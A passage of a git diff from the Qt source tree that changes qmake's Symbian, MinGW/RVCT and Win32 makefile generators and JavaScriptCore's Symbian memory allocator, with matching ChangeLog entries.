QString uid = generate_uid(fullProName);
QString bldinfDefine = QString("BLD_INF_") + subdirFileName + QString("_") + uid;
bldinfDefine = bldinfDefine.toUpper();
- removeEpocSpecialCharacters(bldinfDefine);
+
+ // replace anything not alphanumeric with underscore
+ QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
+ bldinfDefine.replace(replacementMask, QLatin1String("_"));
if (!condition.isEmpty())
t << "#if defined(" << condition << ")" << endl;
diff --git a/qmake/generators/symbian/symmake_abld.cpp b/qmake/generators/symbian/symmake_abld.cpp
index 5729e26..b582257 100644
--- a/qmake/generators/symbian/symmake_abld.cpp
+++ b/qmake/generators/symbian/symmake_abld.cpp
@@ -190,6 +190,7 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
t << "QMAKE = " << var("QMAKE_QMAKE") << endl;
t << "DEL_FILE = " << var("QMAKE_DEL_FILE") << endl;
t << "DEL_DIR = " << var("QMAKE_DEL_DIR") << endl;
+ t << "DEL_TREE = " << var("QMAKE_DEL_TREE") << endl;
t << "MOVE = " << var("QMAKE_MOVE") << endl;
t << "CHK_DIR_EXISTS = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
t << "MKDIR = " << var("QMAKE_MKDIR") << endl;
@@ -329,7 +330,8 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
// Note: EXTENSION_CLEAN will get called many times when doing reallyclean
// This is why the "2> NUL" gets appended to generated clean targets in makefile.cpp.
t << EXTENSION_CLEAN ": " COMPILER_CLEAN_TARGET << endl;
- generateCleanCommands(t, dirsToClean, var("QMAKE_DEL_TREE"), "", "", "");
+ generateCleanCommands(t, dirsToClean, "$(DEL_TREE)", "", "", "");
+ generateCleanCommands(t, project->values("QMAKE_CLEAN"), "$(DEL_FILE)", "", "", "");
t << endl;
t << PRE_TARGETDEPS_TARGET ":"
diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp
index f6f2e78..f94a63f 100644
--- a/qmake/generators/symbian/symmake_sbsv2.cpp
+++ b/qmake/generators/symbian/symmake_sbsv2.cpp
@@ -72,6 +72,35 @@ static QString sbsRvctPrefix;
extern char **environ;
#endif
+static void fixFlmCmd(QString *cmdLine, const QMap<QString, QString> &commandsToReplace)
+{
+ // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent.
+ // Command replacement is done only for the start of the command or right after
+ // concatenation operators (&& and ||), as otherwise unwanted replacements might occur.
+ static QString cmdFind(QLatin1String("(^|&&\\s*|\\|\\|\\s*)%1"));
+ static QString cmdReplace(QLatin1String("\\1%1"));
+
+ // $$escape_expand(\\n\\t) doesn't work for bld.inf files, but is often used as command
+ // separator, so replace it with "&&" command concatenator.
+ cmdLine->replace("\n\t", "&&");
+
+ // Iterate command replacements in reverse alphabetical order of keys so
+ // that keys which are starts of other longer keys are iterated after longer keys.
+ QMapIterator<QString, QString> cmdIter(commandsToReplace);
+ cmdIter.toBack();
+ while (cmdIter.hasPrevious()) {
+ cmdIter.previous();
+ if (cmdLine->contains(cmdIter.key()))
+ cmdLine->replace(QRegExp(cmdFind.arg(cmdIter.key())), cmdReplace.arg(cmdIter.value()));
+ }
+
+ // Sbsv2 toolchain strips all backslashes (even double ones) from option parameters, so just
+ // assume all backslashes are directory separators and replace them with slashes.
+ // Problem: If some command actually needs backslashes for something else than dir separator,
+ // we are out of luck.
+ cmdLine->replace("\\", "/");
+}
+
// Copies Qt FLMs to correct location under epocroot.
// This is not done by configure as it is possible to change epocroot after configure.
void SymbianSbsv2MakefileGenerator::exportFlm()
@@ -386,7 +415,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo
}
t << endl;
t << "clean-debug: " << BLD_INF_FILENAME << endl;
- t << "\t$(SBS) reallyclean";
+ t << "\t$(SBS) reallyclean --toolcheck=off";
foreach(QString clause, debugClauses) {
t << clause;
}
@@ -406,7 +435,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo
}
t << endl;
t << "clean-release: " << BLD_INF_FILENAME << endl;
- t << "\t$(SBS) reallyclean";
+ t << "\t$(SBS) reallyclean --toolcheck=off";
foreach(QString clause, releaseClauses) {
t << clause;
}
@@ -516,8 +545,10 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo
generateDistcleanTargets(t);
+ // Do not check for tools when doing generic clean, as most tools are not actually needed for
+ // cleaning. Mainly this is relevant for environments that do not have winscw compiler.
t << "clean: " << BLD_INF_FILENAME << endl;
- t << "\t-$(SBS) reallyclean";
+ t << "\t-$(SBS) reallyclean --toolcheck=off";
foreach(QString clause, allClauses) {
t << clause;
}
@@ -561,12 +592,6 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
commandsToReplace.insert(project->values("QMAKE_DEL_TREE").join(" "),
project->values("QMAKE_SBSV2_DEL_TREE").join(" "));
- // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent
- // Command replacement is done only for the start of the command or right after
- // concatenation operators (&& and ||), as otherwise unwanted replacements might occur.
- static QString cmdFind("(^|&&\\s*|\\|\\|\\s*)%1");
- static QString cmdReplace("\\1%1");
-
// Write extra compilers and targets to initialize QMAKE_ET_* variables
// Cache results to avoid duplicate calls when creating wrapper makefile
QTextStream extraCompilerStream(&extraCompilersCache);
@@ -621,26 +646,13 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
t << "OPTION PREDEP_TARGET " << absoluteTarget << endl;
t << "OPTION DEPS " << absoluteDeps << endl;
- // Iterate command replacements in reverse alphabetical order of keys so
- // that keys which are starts of other longer keys are iterated after longer keys.
- QMapIterator<QString, QString> cmdIter(commandsToReplace);
- cmdIter.toBack();
- while (cmdIter.hasPrevious()) {
- cmdIter.previous();
- if (commandItem.contains(cmdIter.key())) {
- commandItem.replace(QRegExp(cmdFind.arg(cmdIter.key())),
- cmdReplace.arg(cmdIter.value()));
- }
- }
-
if (commandItem.indexOf("$(INCPATH)") != -1)
commandItem.replace("$(INCPATH)", incPath.join(" "));
if (commandItem.indexOf("$(DEFINES)") != -1)
commandItem.replace("$(DEFINES)", defines.join(" "));
- // Sbsv2 strips all backslashes (even doubles ones) from option parameters, so just replace them with slashes
- // Problem: If some command actually needs backslashes for something else than dir separator, we are out of luck...
- commandItem.replace("\\", "/");
+ fixFlmCmd(&commandItem, commandsToReplace);
+
t << "OPTION COMMAND " << commandItem << endl;
t << "END" << endl;
}
@@ -670,9 +682,11 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
// Write post link rules
if (!project->isEmpty("QMAKE_POST_LINK")) {
+ QString postLinkCmd = var("QMAKE_POST_LINK");
+ fixFlmCmd(&postLinkCmd, commandsToReplace);
t << "START EXTENSION qt/qmake_post_link" << endl;
- t << "OPTION POST_LINK_CMD " << var("QMAKE_POST_LINK") << endl;
- t << "OPTION LINK_TARGET " << removePathSeparators(escapeFilePath(fileFixify(project->first("TARGET"))).append(".").append(getTargetExtension())) << endl;
+ t << "OPTION POST_LINK_CMD " << postLinkCmd << endl;
+ t << "OPTION LINK_TARGET " << fixedTarget << QLatin1String(".") << getTargetExtension() << endl;
t << "END" << endl;
t << endl;
}
@@ -707,6 +721,18 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
t << "END" << endl;
t << endl;
+ // Handle QMAKE_CLEAN
+ QStringList cleanFiles = project->values("QMAKE_CLEAN");
+ if (!cleanFiles.isEmpty()) {
+ QStringList absoluteCleanFiles;
+ foreach (QString cleanFile, cleanFiles) {
+ QFileInfo fi(cleanFile);
+ absoluteCleanFiles << fi.absoluteFilePath();
+ }
+ t << "START EXTENSION qt/qmake_clean" << endl;
+ t << "OPTION CLEAN_FILES " << absoluteCleanFiles.join(" ") << endl;
+ t << "END" << endl;
+ }
t << endl;
}
diff --git a/qmake/generators/unix/unixmake.cpp b/qmake/generators/unix/unixmake.cpp
index 29d85f7..e659e62 100644
--- a/qmake/generators/unix/unixmake.cpp
+++ b/qmake/generators/unix/unixmake.cpp
@@ -148,6 +148,8 @@ UnixMakefileGenerator::init()
project->values("QMAKE_LFLAGS") += var("QMAKE_LFLAGS_RPATH") + libdirs[i];
if (project->isActiveConfig("rvct_linker")) {
project->values("QMAKE_LIBDIR_FLAGS") += "--userlibpath " + escapeFilePath(libdirs[i]);
+ } else if (project->isActiveConfig("armcc_linker")) {
+ project->values("QMAKE_LIBDIR_FLAGS") += "-L--userlibpath=" + escapeFilePath(libdirs[i]);
} else {
project->values("QMAKE_LIBDIR_FLAGS") += "-L" + escapeFilePath(libdirs[i]);
}
@@ -486,7 +488,7 @@ UnixMakefileGenerator::findLibraries()
} else if(opt.startsWith("-l")) {
if (!project->isEmpty("QMAKE_RVCT_LINKSTYLE")) {
(*it) = opt.mid(2);
- } else if (project->isActiveConfig("rvct_linker")) {
+ } else if (project->isActiveConfig("rvct_linker") || project->isActiveConfig("armcc_linker")) {
(*it) = "lib" + opt.mid(2) + ".so";
} else {
stub = opt.mid(2);
diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
index a450f04..2639332 100644
--- a/qmake/generators/win32/mingw_make.cpp
+++ b/qmake/generators/win32/mingw_make.cpp
@@ -202,8 +202,31 @@ void createArObjectScriptFile(const QString &fileName, const QString &target, co
}
}
+void createRvctObjectScriptFile(const QString &fileName, const QStringList &objList)
+{
+ QString filePath = Option::output_dir + QDir::separator() + fileName;
+ QFile file(filePath);
+ if (file.open(QIODevice::WriteOnly | QIODevice::Text)) {
+ QTextStream t(&file);
+ for (QStringList::ConstIterator it = objList.constBegin(); it != objList.constEnd(); ++it) {
+ if (QDir::isRelativePath(*it))
+ t << "./" << *it << endl;
+ else
+ t << *it << endl;
+ }
+ t.flush();
+ file.close();
+ }
+}
+
void MingwMakefileGenerator::writeMingwParts(QTextStream &t)
{
+ if (!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
+ t << "vpath %.dso " << project->values("QMAKE_LIBDIR").join(";") << endl;
+ t << "vpath %.lib " << project->values("QMAKE_LIBDIR").join(";") << endl;
+ t << "\n\n";
+ }
+
writeStandardParts(t);
if (!preCompHeaderOut.isEmpty()) {
@@ -270,7 +293,7 @@ void MingwMakefileGenerator::init()
if(configs.indexOf("qt") == -1)
configs.append("qt");
- if(project->isActiveConfig("dll")) {
+ if(project->isActiveConfig("dll") && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty()) {
QString destDir = "";
if(!project->first("DESTDIR").isEmpty())
destDir = Option::fixPathToTargetOS(project->first("DESTDIR") + Option::dir_sep, false, false);
@@ -279,7 +302,7 @@ void MingwMakefileGenerator::init()
project->values("QMAKE_LFLAGS").append(QString("-Wl,--out-implib,") + project->first("MINGW_IMPORT_LIB"));
}
- if(!project->values("DEF_FILE").isEmpty())
+ if(!project->values("DEF_FILE").isEmpty() && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty())
project->values("QMAKE_LFLAGS").append(QString("-Wl,") + project->first("DEF_FILE"));
MakefileGenerator::init();
@@ -315,12 +338,9 @@ void MingwMakefileGenerator::init()
void MingwMakefileGenerator::fixTargetExt()
{
if (project->isActiveConfig("staticlib") && project->first("TEMPLATE") == "lib") {
- project->values("TARGET_EXT").append(".a");
project->values("QMAKE_LFLAGS").append("-static");
- project->values("TARGET").first() = "lib" + project->first("TARGET");
- } else {
- Win32MakefileGenerator::fixTargetExt();
}
+ Win32MakefileGenerator::fixTargetExt();
}
void MingwMakefileGenerator::writeIncPart(QTextStream &t)
@@ -348,17 +368,28 @@ void MingwMakefileGenerator::writeLibsPart(QTextStream &t)
t << "LIBS = ";
if(!project->values("QMAKE_LIBDIR").isEmpty())
writeLibDirPart(t);
- t << var("QMAKE_LIBS").replace(QRegExp("(\\slib|^lib)")," -l") << ' '
- << var("QMAKE_LIBS_PRIVATE").replace(QRegExp("(\\slib|^lib)")," -l") << endl;
+ if (project->isActiveConfig("rvct_linker")) {
+ t << var("QMAKE_LIBS") << ' '
+ << var("QMAKE_LIBS_PRIVATE") << endl;
+ } else {
+ t << var("QMAKE_LIBS").replace(QRegExp("(\\slib|^lib)")," -l") << ' '
+ << var("QMAKE_LIBS_PRIVATE").replace(QRegExp("(\\slib|^lib)")," -l") << endl;
+ }
}
}
void MingwMakefileGenerator::writeLibDirPart(QTextStream &t)
{
QStringList libDirs = project->values("QMAKE_LIBDIR");
- for (int i = 0; i < libDirs.size(); ++i)
+ QString libArg = QString::fromLatin1("-L");
+ if (project->isActiveConfig("rvct_linker"))
+ libArg = QString::fromLatin1("--userlibpath ");
+ for (int i = 0; i < libDirs.size(); ++i) {
libDirs[i].remove("\"");
- t << valGlue(libDirs,"-L"+quote,quote+" -L" +quote,quote) << " ";
+ if (libDirs[i].endsWith("\\"))
+ libDirs[i].chop(1);
+ }
+ t << valGlue(libDirs, libArg+quote, quote+" "+libArg+quote, quote) << " ";
}
void MingwMakefileGenerator::writeObjectsPart(QTextStream &t)
@@ -370,20 +401,33 @@ void MingwMakefileGenerator::writeObjectsPart(QTextStream &t)
if (!var("BUILD_NAME").isEmpty()) {
ar_script_file += "." + var("BUILD_NAME");
}
- createArObjectScriptFile(ar_script_file, var("DEST_TARGET"), project->values("OBJECTS"));
// QMAKE_LIB is used for win32, including mingw, whereas QMAKE_AR is used on Unix.
- // Strip off any options since the ar commands will be read from file.
- QString ar_cmd = var("QMAKE_LIB").section(" ", 0, 0);;
- if (ar_cmd.isEmpty())
- ar_cmd = "ar";
- objectsLinkLine = ar_cmd + " -M < " + ar_script_file;
+ if (project->isActiveConfig("rvct_linker")) {
+ createRvctObjectScriptFile(ar_script_file, project->values("OBJECTS"));
+ QString ar_cmd = project->values("QMAKE_LIB").join(" ");
+ if (ar_cmd.isEmpty())
+ ar_cmd = "armar --create";
+ objectsLinkLine = ar_cmd + " " + var("DEST_TARGET") + " --via " + ar_script_file;
+ } else {
+ // Strip off any options since the ar commands will be read from file.
+ QString ar_cmd = var("QMAKE_LIB").section(" ", 0, 0);;
+ if (ar_cmd.isEmpty())
+ ar_cmd = "ar";
+ createArObjectScriptFile(ar_script_file, var("DEST_TARGET"), project->values("OBJECTS"));
+ objectsLinkLine = ar_cmd + " -M < " + ar_script_file;
+ }
} else {
QString ld_script_file = var("QMAKE_LINK_OBJECT_SCRIPT") + "." + var("TARGET");
if (!var("BUILD_NAME").isEmpty()) {
ld_script_file += "." + var("BUILD_NAME");
}
- createLdObjectScriptFile(ld_script_file, project->values("OBJECTS"));
- objectsLinkLine = ld_script_file;
+ if (project->isActiveConfig("rvct_linker")) {
+ createRvctObjectScriptFile(ld_script_file, project->values("OBJECTS"));
+ objectsLinkLine = QString::fromLatin1("--via ") + ld_script_file;
+ } else {
+ createLdObjectScriptFile(ld_script_file, project->values("OBJECTS"));
+ objectsLinkLine = ld_script_file;
+ }
}
Win32MakefileGenerator::writeObjectsPart(t);
}
diff --git a/qmake/generators/win32/mingw_make.h b/qmake/generators/win32/mingw_make.h
index 007b48b..5bc9c7b 100644
--- a/qmake/generators/win32/mingw_make.h
+++ b/qmake/generators/win32/mingw_make.h
@@ -54,17 +54,17 @@ public:
protected:
QString escapeDependencyPath(const QString &path) const;
QString getLibTarget();
+ bool writeMakefile(QTextStream &);
+ void init();
private:
bool isWindowsShell() const;
void writeMingwParts(QTextStream &);
void writeIncPart(QTextStream &t);
void writeLibsPart(QTextStream &t);
void writeLibDirPart(QTextStream &t);
- bool writeMakefile(QTextStream &);
void writeObjectsPart(QTextStream &t);
void writeBuildRulesPart(QTextStream &t);
void writeRcFilePart(QTextStream &t);
- void init();
void processPrlVariable(const QString &var, const QStringList &l);
QStringList &findDependencies(const QString &file);
diff --git a/qmake/generators/win32/winmakefile.cpp b/qmake/generators/win32/winmakefile.cpp
index e0a370c..603ffb5 100644
--- a/qmake/generators/win32/winmakefile.cpp
+++ b/qmake/generators/win32/winmakefile.cpp
@@ -314,7 +314,8 @@ void Win32MakefileGenerator::processVars()
// TARGET_VERSION_EXT will be used to add a version number onto the target name
if (project->values("TARGET_VERSION_EXT").isEmpty()
- && !project->values("VER_MAJ").isEmpty())
+ && !project->values("VER_MAJ").isEmpty()
+ && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty())
project->values("TARGET_VERSION_EXT").append(project->values("VER_MAJ").first());
if(project->isEmpty("QMAKE_COPY_FILE"))
@@ -342,16 +343,43 @@ void Win32MakefileGenerator::processVars()
if(!(*libDir_it).isEmpty())
(*libDir_it) = Option::fixPathToTargetOS((*libDir_it), false, false);
}
+
+ if (project->values("TEMPLATE").contains("app")) {
+ project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_APP");
+ project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_APP");
+ project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_APP");
+ } else if (project->values("TEMPLATE").contains("lib") && project->isActiveConfig("dll")) {
+ if(!project->isActiveConfig("plugin") || !project->isActiveConfig("plugin_no_share_shlib_cflags")) {
+ project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_SHLIB");
+ project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_SHLIB");
+ }
+ if (project->isActiveConfig("plugin")) {
+ project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_PLUGIN");
+ project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_PLUGIN");
+ project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_PLUGIN");
+ } else {
+ project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_SHLIB");
+ }
+ }
}
void Win32MakefileGenerator::fixTargetExt()
{
- if (!project->values("QMAKE_APP_FLAG").isEmpty())
+ if (project->isEmpty("QMAKE_EXTENSION_STATICLIB"))
+ project->values("QMAKE_EXTENSION_STATICLIB").append("lib");
+ if (project->isEmpty("QMAKE_EXTENSION_SHLIB"))
+ project->values("QMAKE_EXTENSION_SHLIB").append("dll");
+
+ if (!project->values("QMAKE_APP_FLAG").isEmpty()) {
project->values("TARGET_EXT").append(".exe");
- else if (project->isActiveConfig("shared"))
- project->values("TARGET_EXT").append(project->first("TARGET_VERSION_EXT") + ".dll");
- else
- project->values("TARGET_EXT").append(".lib");
+ } else if (project->isActiveConfig("shared")) {
+ project->values("TARGET_EXT").append(project->first("TARGET_VERSION_EXT") + "."
+ + project->first("QMAKE_EXTENSION_SHLIB"));
+ project->values("TARGET").first() = project->first("QMAKE_PREFIX_SHLIB") + project->first("TARGET");
+ } else {
+ project->values("TARGET_EXT").append("." + project->first("QMAKE_EXTENSION_STATICLIB"));
+ project->values("TARGET").first() = project->first("QMAKE_PREFIX_STATICLIB") + project->first("TARGET");
+ }
}
void Win32MakefileGenerator::processRcFileVar()
diff --git a/qmake/option.cpp b/qmake/option.cpp
index fcbf5fa..1354281 100644
--- a/qmake/option.cpp
+++ b/qmake/option.cpp
@@ -260,6 +260,8 @@ Option::parseCommandLine(int argc, char **argv, int skip)
Option::host_mode = HOST_WIN_MODE;
Option::target_mode = TARG_WIN_MODE;
Option::target_mode_overridden = true;
+ } else if(opt == "integrity") {
+ Option::target_mode = TARG_INTEGRITY_MODE;
} else if(opt == "d") {
Option::debug_level++;
} else if(opt == "version" || opt == "v" || opt == "-version") {
diff --git a/qmake/option.h b/qmake/option.h
index 23be12f..e3ddc9a 100644
--- a/qmake/option.h
+++ b/qmake/option.h
@@ -156,7 +156,7 @@ struct Option
enum HOST_MODE { HOST_UNKNOWN_MODE, HOST_UNIX_MODE, HOST_WIN_MODE, HOST_MACX_MODE };
static HOST_MODE host_mode;
enum TARG_MODE { TARG_UNKNOWN_MODE, TARG_UNIX_MODE, TARG_WIN_MODE, TARG_MACX_MODE,
- TARG_SYMBIAN_MODE };
+ TARG_SYMBIAN_MODE, TARG_INTEGRITY_MODE };
static TARG_MODE target_mode;
static bool target_mode_overridden;
static QString user_template, user_template_prefix;
diff --git a/qmake/project.cpp b/qmake/project.cpp
index 88d5962..7cc1cb6 100644
--- a/qmake/project.cpp
+++ b/qmake/project.cpp
@@ -228,7 +228,7 @@ static QString varMap(const QString &x)
return ret;
}
-static QStringList split_arg_list(QString params)
+static QStringList split_arg_list(const QString &params)
{
int quote = 0;
QStringList args;
@@ -253,6 +253,8 @@ static QStringList split_arg_list(QString params)
while(x > last && params_data[x-1].unicode() == SPACE)
--x;
args << params.mid(last, x - last);
+ // Could do a check for unmatched parens here, but split_value_list()
+ // is called on all our output, so mistakes will be caught anyway.
return args;
}
ushort unicode = params_data[x].unicode();
@@ -285,6 +287,7 @@ static QStringList split_value_list(const QString &vals)
QString build;
QStringList ret;
ushort quote = 0;
+ int parens = 0;
const ushort LPAREN = '(';
const ushort RPAREN = ')';
@@ -295,7 +298,7 @@ static QStringList split_value_list(const QString &vals)
ushort unicode;
const QChar *vals_data = vals.data();
const int vals_len = vals.length();
- for(int x = 0, parens = 0; x < vals_len; x++) {
+ for(int x = 0; x < vals_len; x++) {
unicode = vals_data[x].unicode();
if(x != (int)vals_len-1 && unicode == BACKSLASH &&
(vals_data[x+1].unicode() == SINGLEQUOTE || vals_data[x+1].unicode() == DOUBLEQUOTE)) {
@@ -319,6 +322,11 @@ static QStringList split_value_list(const QString &vals)
}
if(!build.isEmpty())
ret << build;
+ if (parens)
+ warn_msg(WarnDeprecated, "%s:%d: Unmatched parentheses are deprecated.",
+ parser.file.toLatin1().constData(), parser.line_no);
+ // Could do a check for unmatched quotes here, but doVariableReplaceExpand()
+ // is called on all our output, so mistakes will be caught anyway.
return ret;
}
@@ -1639,6 +1647,7 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap<QString, QStringL
if(flags & IncludeFlagFeature) {
if(!file.endsWith(Option::prf_ext))
file += Option::prf_ext;
+ validateModes(); // init dir_sep
if(file.indexOf(Option::dir_sep) == -1 || !QFile::exists(file)) {
static QStringList *feature_roots = 0;
if(!feature_roots) {
@@ -1677,10 +1686,10 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap<QString, QStringL
}
if(format == UnknownFormat)
return IncludeNoExist;
- if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1)
- return IncludeFeatureAlreadyLoaded;
- place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file);
}
+ if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1)
+ return IncludeFeatureAlreadyLoaded;
+ place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file);
}
if(QDir::isRelativePath(file)) {
QStringList include_roots;
@@ -2962,6 +2971,9 @@ QMakeProject::doVariableReplaceExpand(const QString &str, QMap<QString, QStringL
else if(!current.isEmpty())
ret.append(current);
//qDebug() << "REPLACE" << str << ret;
+ if (quote)
+ warn_msg(WarnDeprecated, "%s:%d: Unmatched quotes are deprecated.",
+ parser.file.toLatin1().constData(), parser.line_no);
return ret;
}
@@ -2985,6 +2997,7 @@ QStringList &QMakeProject::values(const QString &_var, QMap<QString, QStringList
var = ".BUILTIN." + var;
place[var] = QStringList(qmake_getpwd());
} else if(var == QLatin1String("DIR_SEPARATOR")) {
+ validateModes();
var = ".BUILTIN." + var;
place[var] = QStringList(Option::dir_sep);
} else if(var == QLatin1String("DIRLIST_SEPARATOR")) {
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index fd6c3f7..9cbf0c1 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -232,6 +232,34 @@
without using doubles, but the code would be much more complicated, and there is no important
reason to stick to integers here.
+2010-03-22 Siddharth Mathur <siddharth.mathur@nokia.com>
+
+ Reviewed by Laszlo Gombos.
+
+ [Symbian] More efficient aligned memory allocation for JSC Collector
+ https://bugs.webkit.org/show_bug.cgi?id=34350
+
+ * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
+
+ * runtime/Collector.cpp: Reduced port-specific code and added private data member
+ (JSC::Heap::Heap):
+ (JSC::Heap::~Heap):
+ (JSC::Heap::destroy):
+ (JSC::Heap::allocateBlock):
+ (JSC::Heap::freeBlockPtr):
+
+ * runtime/Collector.h: Added private data member
+
+ * wtf/symbian: Added.
+ * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
+ (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate
+ aligned blocks more efficiently as required by Collector
+ (WTF::AlignedBlockAllocator::alloc):
+ (WTF::AlignedBlockAllocator::free):
+ (WTF::AlignedBlockAllocator::destroy):
+ (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
+ * wtf/symbian/BlockAllocatorSymbian.h: Added.
+
2010-03-22 Geoffrey Garen <ggaren@apple.com>
Reviewed by Sam Weinig.
@@ -330,6 +358,31 @@
* wtf/AlwaysInline.h:
+2010-02-12 Gavin Barraclough <barraclough@apple.com>
+
+ Reviewed by Darin Adler.
+
+ https://bugs.webkit.org/show_bug.cgi?id=33731
+ Many false leaks in release builds due to PtrAndFlags
+
+ Remove UntypedPtrAndBitfield (similar to PtrAndFlags) in UStringImpl,
+ and steal bits from the refCount instead.
+
+ * runtime/UStringImpl.cpp:
+ (JSC::UStringImpl::baseSharedBuffer):
+ (JSC::UStringImpl::~UStringImpl):
+ * runtime/UStringImpl.h:
+ (JSC::UStringImpl::cost):
+ (JSC::UStringImpl::isIdentifier):
+ (JSC::UStringImpl::setIsIdentifier):
+ (JSC::UStringImpl::ref):
+ (JSC::UStringImpl::deref):
+ (JSC::UStringImpl::UStringImpl):
+ (JSC::UStringImpl::bufferOwnerString):
+ (JSC::UStringImpl::bufferOwnership):
+ (JSC::UStringImpl::isStatic):
+ (JSC::UStringImpl::):
+
2010-02-12 Kwang Yul Seo <skyul@company100.net>
Reviewed by Adam Barth.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
index d75bd31..b061321 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
@@ -16,6 +16,7 @@ CONFIG(debug, debug|release) {
symbian: {
# Need to guarantee this comes before system includes of /epoc32/include
MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
+ LIBS += -lhal
}
INCLUDEPATH = \
@@ -33,6 +34,7 @@ INCLUDEPATH = \
$$PWD/runtime \
$$PWD/wrec \
$$PWD/wtf \
+ $$PWD/wtf/symbian \
$$PWD/wtf/unicode \
$$PWD/yarr \
$$PWD/API \
@@ -211,6 +213,7 @@ SOURCES += \
wtf/qt/ThreadingQt.cpp \
wtf/RandomNumber.cpp \
wtf/RefCountedLeakCounter.cpp \
+ wtf/symbian/BlockAllocatorSymbian.cpp \
wtf/symbian/RegisterFileAllocatorSymbian.cpp \
wtf/ThreadingNone.cpp \
wtf/Threading.cpp \
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
index 24873c8..42e2a35 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
@@ -53,11 +53,6 @@
#include <mach/thread_act.h>
#include <mach/vm_map.h>
-#elif OS(SYMBIAN)
-#include <e32std.h>
-#include <e32cmn.h>
-#include <unistd.h>
-
#elif OS(WINDOWS)
#include <windows.h>
@@ -109,11 +104,6 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
// a PIC branch in Mach-O binaries, see <rdar://problem/5971391>.
#define MIN_ARRAY_SIZE (static_cast<size_t>(14))
-#if OS(SYMBIAN)
-const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
-static RHeap* userChunk = 0;
-#endif
-
#if ENABLE(JSC_MULTIPLE_THREADS)
#if OS(DARWIN)
@@ -146,29 +136,11 @@ Heap::Heap(JSGlobalData* globalData)
, m_currentThreadRegistrar(0)
#endif
, m_globalData(globalData)
+#if OS(SYMBIAN)
+ , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
+#endif
{
ASSERT(globalData);
-
-#if OS(SYMBIAN)
- // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
- // Using fastMalloc() does not properly align blocks on 64k boundaries
- // and previous implementation was flawed/incomplete.
- // UserHeap::ChunkHeap allows allocation of continuous memory and specification
- // of alignment value for (symbian) cells within that heap.
- //
- // Clarification and mapping of terminology:
- // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
- // which can dynamically grow up to 8 MB,
- // that holds all CollectorBlocks of this session (static).
- // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
- // JSCell objects are maintained as usual within CollectorBlocks.
- if (!userChunk) {
- userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
- if (!userChunk)
- CRASH();
- }
-#endif // OS(SYMBIAN)
-
memset(&m_heap, 0, sizeof(CollectorHeap));
allocateBlock();
}
@@ -211,7 +183,9 @@ void Heap::destroy()
t = next;
}
#endif
-
+#if OS(SYMBIAN)
+ m_blockallocator.destroy();
+#endif
m_globalData = 0;
}
